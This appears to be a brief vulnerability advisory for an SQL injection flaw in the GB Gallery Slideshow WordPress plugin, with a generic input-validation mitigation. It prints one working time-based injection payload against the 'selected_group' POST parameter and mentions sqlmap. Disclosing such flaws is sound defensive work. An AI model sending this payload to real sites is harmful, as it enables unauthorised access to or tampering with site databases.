GB Gallery Slideshow Plugin for WordPress SQL Injection Vulnerability

The GB Gallery Slideshow plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. The exploit is done via sqlmap, using a POST request with the parameter 'selected_group' and a payload of 'action=gb_ajax_get_group&gb_nonce=5356513fbe&selected_group=2 AND SLEEP(5)'.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to construct SQL queries in a way that would allow an attacker to modify the logic of the executed query.
